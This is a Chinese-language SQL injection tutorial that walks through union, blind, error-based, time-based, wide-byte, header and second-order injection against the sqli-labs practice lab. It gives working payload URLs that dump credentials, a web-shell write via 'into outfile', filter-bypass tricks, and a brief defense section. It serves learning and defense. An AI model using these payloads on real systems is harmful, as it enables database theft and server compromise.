漏洞一览"/>
SQL注入漏洞一览
SQL注入漏洞一览
文章篇幅较大,注意适当放松
学习SQL注入之前你需要
理解Web应用的工作原理
-
任何语言编写的Web应用,有一点是相同的:都具有交互性并且多半是数据库驱动的。它们通常都包含一个后台数据库和很多Web页面,页面中包含了使用某种编程语言编写的服务器端脚本,脚本则能够根据Web页面与用户的交互从数据库中提取特定的信息。
数据库驱动的Web应用通常包含三层:表示层(Web浏览器或呈现引擎),逻辑层(如C#、ASP、NET、PHP、JSP等编程语言)和存储层(如Microsoft SQL Sever、MySQL、Oracle等数据库)
过程:浏览器发送请求、中间层通过查询、更新数据库来响应请求
-
再看看更复杂的结构
学习SQL语言
基本的SQL语句用法,可以先不去学如何设计数据库,但是最好掌握。这部分就不详细写了,列几个目标和参考链接
目标:增删改查
查询语句,数据过滤,数据处理函数,聚集函数,子查询,联合表,插入,更新,删除等等。
参考
SQL语法
什么是SQL注入
概念理解
提供几种理解方式
- 将SQL代码添加到输入参数中,产地到服务器解析并执行的一种手法,注入攻击是输入参数未经过滤,然后直接拼接到SQL语句当中解析,执行达到预想之外的一种行为,间接的攻击方式是将恶意代码插入字符串中,之后再将这些字符串保存到数据库的数据表中或将其当
作元数据。当将存储的字符串置入动态SQL命令中时,恶意代码就将被执行。 - SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数的攻击,之后再将参数传递给后台的SQL服务器加以解析并执行
- 应用后台数据库传递SQL查询是,如果为攻击者提供了影响该查询的能力,就会引发SQL注入攻击,攻击者通过影响传递给数据库的内容来修改SQL自身的语法和功能,并且会影响SQL所支持数据库和操作系统的功能和灵活性
- SQL注入是一种通过操纵输入来修改后台SQL语句以达到利用代码进行攻击目的
的技术。
通俗理解
代码理解
先理解sql的逻辑顺序
以万能密码为例
查询语句
Select * from admin where username= 'admin' and password='admin'
我们可以用or 1=1#
作为密码输入。原因是为什么?
这里涉及到一个逻辑运算,当使用上述所谓的万能密码后,构成的sql语句为:
Select * from admin where username=’ admin’ and password=’’or 1=1#’
Explain:上面的这个语句执行后,我们在不知道密码的情况下就登录到了admin 用户了。原因是在where子句后,我们可以看到三个条件语句username=' admin' and password='’ or 1=1
。 三个条件用and和or进行连接。在sql中,我们and的运算优先级大于or的元算优先级。因此可以看到第一个条件(用a表示)是真的,第二个条件(用b表示)是假的,a and b = false,第一个条件和第二个条件执行and后是假,再与第三个条件or运算,因为第三个条件1=1是恒成立的,所以结果自然就为真了。因此上述的语句就是恒真了。
以常用代码为例
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我们在id位置注入
Id参数在拼接sql语句时,未对id进行任何的过滤等操作,所以当提交’or1=1–+, 直接构
造的sql语句就是
SELECT * FROM users WHERE id=’ 1’or 1=1–+ LIMIT 0,1
这条语句因or 1=1所以为永恒真。.
掌握常用数据库
MySQL
我把这部分重点都放在了这,其他的数据库也差不多,初学的朋友都是从这开始的,然后又免费。
常用函数
系统函数
-
系统用户名 system_user()
-
用户名 user()
-
当前用户名 current_user()
-
连接数据库的用户名 session_user()
-
MySQL数据库版本 version()
-
转成16进制或者是10进制MySQL读取本地文件的函数 load_file()
-
数据库名 database()
-
读取数据库路径@@datadir
-
MySQL安装路径@@basedir
-
操作系统@@version_compile_os
字符串连接函数
- concat(str1,str2…):没有分隔符地链接字符串
- concat_ws(separator,str1,str2…):含有分隔符
- group_caoncat():连接一个组的所有字符串,并以逗号分隔每一条数据
MySQL注入相关的知识点
- 5.0版本后默认在数据库中存放一个"information_schema"数据库,在该库中,记住三个表名
- SCHEMATA:存储用户创建的所有数据库的库名,需要记住的字段名为SCHEMA_NAME
- TABLES:存储用户创建的所有数据库的库名和表名,需要记住的表名有TABLE_SCHEMA和TABLE_NAME
- COLUMNS:存储用户创建的数据库库名,表名和字段名,需要记住TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME
注入分类
原理+部分代码演示(假定id参数都以’闭合)
简单分类
数字型
输入的参数是整数
- 满足条件
- 参数用户可控: 前段传给后端的参数内容是用户可以控制的
- 参数代入数据库查询:传入的参数拼接到SQL语句中,且带入数据库查询
常用判断方法:
假设有URL为.php?id=8
猜想有SQL语句
select * from table where id=8
- 末尾加’(单引号) 报错
- 末尾加and 1=1 无差异执行
- 末尾加and 1=2 报错
若满足以上条件则可能存在注入漏洞
该漏洞多出现ssdas等弱类型语言(自动推导变量类型)
MySQL中可以从数字运算这一特征来判断是否是数字型注入,如id=1
与id=3-2
显示页面一样
字符型
输入参数为字符串
- 例子(以单引号为例)
select * from table where username = 'admin'
注意:
闭合单引号以及多余注释多余的代码注入方法,如:
输入admin'(闭合)and 1=1 --(注释后面的内容)
update person set password='password' where id=1
注入方法:在password处加入'(闭合第一个引号)+(select @@version)+'(闭合第二个引号)
MySQL中,等号两边不一致会发生强制转换,数字与字符串比较时,字符串将被转换为数字如’1a‘=1,a=0
注意 数据库连接符SQL Sever “+”,Oracle “||”,MySQL “空格”
更详细的分类
先放个两张图,做个大致了解和参考,后面的内容不全按照这个分类哦!
图一
图二
联合查询注入
union注入攻击
大致流程
以Sql-labs lesss-1为例
在id=1处添加一个‘,会触发报错
从上述错误当中,我们可以看到提交到 sql 中的 1’在经过 sql 语句构造后形成 ‘1’’ LIMIT 0,1, 多加了一个 ’ 。
这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何 将多余的 ‘ 去掉呢?
尝试 ‘or 1=1--+
此时构造的 sql 语句就成了 Select ***from*** where id='1'or 1=1--+' LIMIT 0,1
可以看到返回了正常的数据
这说明是存在注入的,那么接下来应该测注入字段的个数
这里利用用 order by。Order by 对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3,超过 3 就会报错。如 ‘order by 4–+的结果显示结果超出,实际应用中可以从小到大开始测试。
好了,既然是union联合查询注入,那么介绍一下union
union 的作用是将两个 sql 语句进行联合。Union 可以从 下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。Union all 与 union 的区别是增加了去重的功能
接下来要做的就是找出可注入的字段,我们已经知道存在3个字段了,那么如何找出可注入的呢?构造如下语句
?id=-1'union select 1,2,3--+
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1或者一个很大的数,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空无法被查询,我们这里就将后面的语句的内容显示出来。)此处前台页面返回了我们构造的 union 的数据。
这里看出2和3是能注入数据的
来试一试
构造http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,user(),database()--+
我们可以看到查出来了用户和数据库名字
然后就可以爆数据库了
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1--+
这里limit0,1 表示从第一个开始返回一个数据(0代表从1开始)limit1,1即表示从第二个开始返回一个
当然有更好的方式,即用上前面说过的函数group_concat()
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
获取表名
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
获取字段名
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
获取字段内容
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+
基本流程大致就是这样了。
盲注
盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显到前端页面。我们需要判断正常页面和异常之间的差异
布尔注入
截取字符串常用函数
-
mid()
MID(column_name,start[,length]),起始值为1
-
substr()
substr(string, start, length),起始值也为1
-
left()
Left (string, n) ,得到字符串左部指定个数的字符
-
ord(返回第一个字符的ASCII码)
一般和其他函数一起使用,如ord(mid(database(),1,1))>114,意为检测database的第一位ASCII是否大于114
-
ascii() 和ord函数相似,返回ASCII码
常用截取函数
正则注入
利用regexp和like匹配正则表达式来加快速度
通过 if 语句的条件判断,返回一些条件句,比如 if 等构造一个判断。根据返回结果是否等 于 0 或者 1 进行判断。正确时显示1,不正确则显示0。
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=‘security’ and table_name regexp ‘^us[a-z]’ limit 0,1);
这里利用 select 构造了一个判断语句。
大致流程
这里以sql-labs的Less-5为例子
从源代码中可以 看到,运行返回结果正确的时候只返回 you are in....
,不会返回数据库当中的信息了
- 首先判断数据库名的长度
http://127.0.0.1/sqli-labs/Less-5/?id=1'and length(database())=8 --+
-
接着来找出数据库名,逐字符判断方式,
http://127.0.0.1/sqli-labs/Less-5/?id=1'and left(database(),1)='a' --+
这说明名字第一位不是a,那么继续直到为s才正确
说明第一位是s
当然我们可以使用二分法来判断,加快我们的速度,如
http://127.0.0.1/sqli-labs/Less-5/?id=1'and left(database(),1)>'a' --+
确定了首位就可以猜测第二位,第三位了,示例
http://127.0.0.1/sqli-labs/Less-5/?id=1'and left(database(),2)='se' --+
-
查询表名
数据库名为security
先看看表的结构,后面不会完整测试。
先查表名长度
http://127.0.0.1/sqli-labs/Less-5/?id=1'and length((select table_name from information_schema.tables where table_schema = 'security' limit 0,1))=6 --+
数据库第一个表为emails,所以长度为6时返回正确
然后再逐字符查,这里我们换个函数substr()
http://127.0.0.1/sqli-labs/Less-5/?id=1'and substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)='e' --+
获取第二个字符,这次我们加上ascii()函数
http://127.0.0.1/sqli-labs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),2,1))=109 --+
试试获取第二个表,这次呢再换一个函数ord()+mid()
将limit 0,1改为limit 1,1即可
http://127.0.0.1/sqli-labs/Less-5/?id=1'and ord(mid((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),1,1))=114 --+
由于第二个表是referers,所以第一位为r,ascii码为114
对了之前还需要获取它长度哦!
剩下的步骤就不赘述了,原理已经很清楚了
-
查询字段名
这里我们直接查询users表的吧,users里大概会有什么呢?大致猜得到可能会有id,username,password
也可以使用前面的方法,这里使用regexp正则表达式试试。
http://127.0.0.1/sqli-labs/less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+
这里是匹配开头有us的字符串
那么可以猜测有username了
http://127.0.0.1/sqli-labs/less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
表的内容如下
-
获取内容
http://127.0.0.1/sqli-labs/less-5/?id=1'and mid((select username from users where id = 1),1,1) = 'D' --+
综合利用以上,就能查出内容了!
报错注入
CTF的12个sql注入报错方式
报错函数
-
floor型
MYSQL临时表介绍
原理剖析(较略)
原理剖析(深入研究报错原理)
-
报错型注入则是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果
-
主要原因是在rand()和group by同时适用到的时候,可能会产生超出预期的结果,即会多次对同一列进行查询
-
构造payload让信息通过错误提示回显出来
-
具体原理
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a floor(rand(0)*2))a from information_schema.columns group by a;
select 1 from(select count(*),concat(0x7e,database(),0x7e,user(),0x7e,floor(rand(0)*2))x from information_schema.columns group by x)a
函数解析
count()
统计原组的个数,对表中记录数计数,相当于统计行数。0x3a 是ASCII码 转化为 :
floor()
取float的整数值,产生小于或等于指定值(value)的最小整数。rand()
取0~1之间的随机浮点值
当使用一个整数参数时,rand使用该参数作为种子生成一个固定的伪随机数列
a 为as a别名的简写方式
floor(rand()*2):rand
为01,rand()*2为02,则结果是取0,1,2三个数字,为2的几率几乎可以忽略,所以是0,1两个随机数,具有某方面的确定性
floor(rand(0)*2)
这个会产生一个固定的序列即011011…
过程解析
上面的语句在查询是会建立一个临时表,查询一条,若临时表没有该key,则插入,若有则计数+1
查询的时候如果使用rand()
的话,该值会被计算多次,在使用group by
的时候,floor(rand(0)*2)
会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次
由我们上面的句子有
取第一条记录,执行floor(rand(0)*2)
,发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)
会被再计算一次,结果为1(第二次计算),插入虚表
查询第二条记录,再次计算floor(rand(0)*2)
,发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)
不会被计算第二次,直接count(*)
加1
查询第三条记录,再次计算floor(rand(0)*2)
,发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)
被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了
此用法所查询的表至少需要3条数据
count函数详解
语句执行顺序
- exp()型
-
以e为底的对数函数
-
原理:
- exp(709),当传递一个大于709的值时会报错
- 加上语句成功执行返回0,再取反为最大值
-
语法示例:
exp(~(select*from(select ‘想执行的语句’)x))
exp溢出注入
- XML函数 updatexml()和extractvalue()
相关注入介绍
(1)updatexml 是更新xml文档的函数
-
语法:UPDATEXML (XML_document, XPath_string, new_value);
updatexml(目标xml文档,xml路径,更新的内容)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串)
xpath教程
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
-
注入语句为:
updatexml(anything,concat(0x7e,(SQL语句),0x7e),anything)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出注意:它能查询的字符串的最大长度为32,若结果超过32,就需要使用substring()截取
(2)extractvalue() 对文档进行查询
-
语法:extractvalue(目标文档,xml路径)
-
原理:第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容
-
注入语句为:
extractvalue(‘anything’,concat(0x7e,(SQL语句),0x7e)))
注意:它同样是32位查询,即一次最多只能查看32位,超过的话就只能使用substring截取了
- name_const() 重复报错
-
语法 name_const(name,value)
-
原理:函数会用传入的参数返回一列结果集,传入的参数必须是常量,如果不是常量就会报错,报错原因就是因为两列列名相同,外面选择时报错,重复
-
注入语句为:
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a
大致流程
还是以Sqli-labs的less-5为例子
(1)获取数据库:floor()
http://127.0.0.1/sqli-labs/less-5/?id=1'union Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
(2)获取表:exp()
http://127.0.0.1/sqli-labs/less-5/?id=1'union select (exp(~(select * FROM(select group_concat(table_name) from information_schema.tables where table_schema = 'security')a))),2, 3--+
(3)获取列:extractvalue()
http://127.0.0.1/sqli-labs/less-5/?id=1'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'users'),0x7e)) --+
updatexml()
http://127.0.0.1/sqli-labs/less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security'and table_name = 'users'),0x7e),1) --+
(4)获取数据:
随便使用一个
如http://127.0.0.1/sqli-labs/less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+
时间注入
- benchmark()
-
用来测试一些函数的执行速度
-
语法:
benchmark(执行的次数,要执行的表达式)
-
原理:
执行的次数不同,执行的时间也就不同,和sleep一样
-
sleep()
括号里面是休眠的秒数
benchmarj()很好资源,所以最好还是使用sleep()
示例
还是上面的例子
需要配合前面的
sleep()
http://127.0.0.1/sqli-labs/less-5/?id=1'and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+
当执行成功的时候会有5秒延迟
benchmark()
示例
?id=1 and if(length(database())=5,(select benchmark(10000000,md5(0x41))),1)
宽字节注入
适用于单引号被转义的情况,当数据库编码为GBK时
宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中%df%5c是繁体的连字,导致成功逃逸单引号
接着按照之前的各种方法继续查询
- 判断注入
id=1%df'and 1=1%23
id=1%df'and 1=2%23
- 查询数据段
id=1%df'order by xx%23
假定最终字段数为3 - 查询数据库名
id=1%df'union select 1,database(),3%23
- 查询表名
原语句:select table_name from information_schema.tables where table_name = 'xxx' limit0,1
但是单引号被转义,所以会报错
所以使用嵌套查询
select table_name from information_schema.tables where table_schema =(select database()) limit 0,1
- 查询字段名 同理
select cloumn_name from information_schema.cloumns where table_schema = (select database()) and table_name = (select table_name from information_schema.tables where table_schema = (select database()) limit 0,1)limit 0,1
cookie注入
适用于cookie中带有类似于id参数
方法是直接burp抓包,然后修改cookie里的值,在cookie里面拼接sql语句,可使用union注入等
base64注入
适用于参数经过了base64编码,
方法就是将需要查询的sql语句编码为base64再代入即可
XFF注入攻击
在HTTP请求头中有X-Forwarded-For代表真实的IP,通过修改X-Forwarded-For头对带入系统的dns进行sql注入,从而得到网站的数据库内容。
二次注入攻击
如PHP在开启magic_quotes_gpc后会对特殊字符转义,如把'变为\'
,
如下列语句
$sql = "insert into message(id,title,content) values (1,'$title','secbug.org')"
现在通过网站插入数据title为secbug'
转义后为secbug\'
但是在数据库中却为secbug'
于是可以通过另一种查询
select id,title,content from message where title='$title'
将第一次插入的title改为' union select 1,@@version 3 --
则又成功注入
SQL注入file导入常用手段
- 可以直接导入一句话或上传页面 利用函数为into outfile
- 直接将select内容导入到文件中
Select ***(可以为其他文件,如一句话) into outfile "C:\\***\\***"
- 修改文件结尾
Into outfile "C:\\***\\***\\text.php" lines terminated by 0x16
SQL绕过方法
关键字绕过
-
注释符绕过:
uni/**/on se/**/lect
-
大小写绕过:
UniOn SeleCt
-
双关键字绕过:
ununionion seselectlect
-
<>绕过:
unio<>n sel<>ect
(可能是有些网站为了防止xss注入,所以过滤了<>,参照i春秋sql) -
对于and,or的绕过其实还可以尝试一下&&,||,异或注入
这里需要注意一点就是or被过滤的时候order,information中的or也被过滤了
特殊字符绕过
-
对空格的绕过:
- 两个空格代替一个,用tab键代替空格
/**/ %20 %09 %0a
- 利用空格绕过:很多关键字都可以写成带括号的形式select(),or()
- 特殊函数中的空格绕过:
ascii(mid(xxfrom(1))) ascii(substr(xxfrom(1)))
-
对单引号的绕过:
-
宽字节
%bf%27 %df%27 %aa%27(争对字符集为GBK时使用
-
十六进制绕过(针对需要输入表名的时候 ‘user’=>0x7573657273)
-
-
对逗号的绕过:
substr(x,1,1),mid(x,1,1) => substr(x from 1 for 1) mid(x from 1 for 1) limit 0,1=> limit 0 offset 1
- join(本身是用来连接两个表单的,所以join一定是要放在from后面放表单的位置):
union select 1,2 => union select * from (select 1)a join (select 2)b
- select case when (条件) then (代码1) else (代码2) end 可以对应上if(条件,代码1,代码2)
if(substring((select user()) from 1 for 1)='e',sleep(5),1) => select case when substring((select user()) from 1 for 1)='e' then sleep(5) else 1 end
-
等号的绕过:
- 利用<>(即不等于号)绕过
?id=' or 1 like 1
- 利用like绕过
?id=' or 1 <> 1
- 利用greatest()绕过(greatest(a,b)返回较大的那个数)
?id=' union select greatest(substr((select user()),1,1),95)
- 利用<>(即不等于号)绕过
其他绕过
-
编码绕过
- 双重url编码:如:?id=1%252f%252aUNION%252f%252aSELECT%252f%252a1,2,password%252f%252aFROM%252f%252a/Users–+
- unicode编码:’=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09
-
双写绕过
anandd,oorr等
-
大小写绕过
And,Or等
参考
参考链接1
参考链接2
SQL防御
- 必须明白一个概念:数据库只负责执行SQL语句,根据SQL语句来返回相关数据,它并没有什么好的方法直接过滤SQL注入
严格的数据类型
- Java,C# 等强类型语言几乎可以完全忽略数字型注入
- 而PHP,ASP等弱语言,会根据参数类型自动推导出数据类型
URL:.jsp?id=1
程序代码:int id = Integer.parseInt(request.getParameter("id");
// 接收参数并转换为int类型
News news = newDao.findNewsById(id);
特殊字符转义
- 原理:在数据库查询的时候,任何字符串都必须加单引号,则攻击者在字符型注入的时候必然会出现单引号等字符
- 这时只需要判断字符串是否存在敏感字符,若存在,根据响应数据库进行转义
- 若不知道需要转义哪些字符则可以参考OWASP ESAPI,它提供了专门对数据库字符转码的借口
- addslashes()、mysql_real_escape()
- preg_replace()
过滤危险字符
使用预编译语句
框架技术
存储过程
参考
-
《SQL注入攻击与防御》
-
《Web安全深度剖析》
-
《MySQL注入天书》
-
《基于机器学习的SQL注入漏洞挖掘技术的分析与实现》
-
参考链接
参考链接
更多推荐
SQL注入漏洞一览
发布评论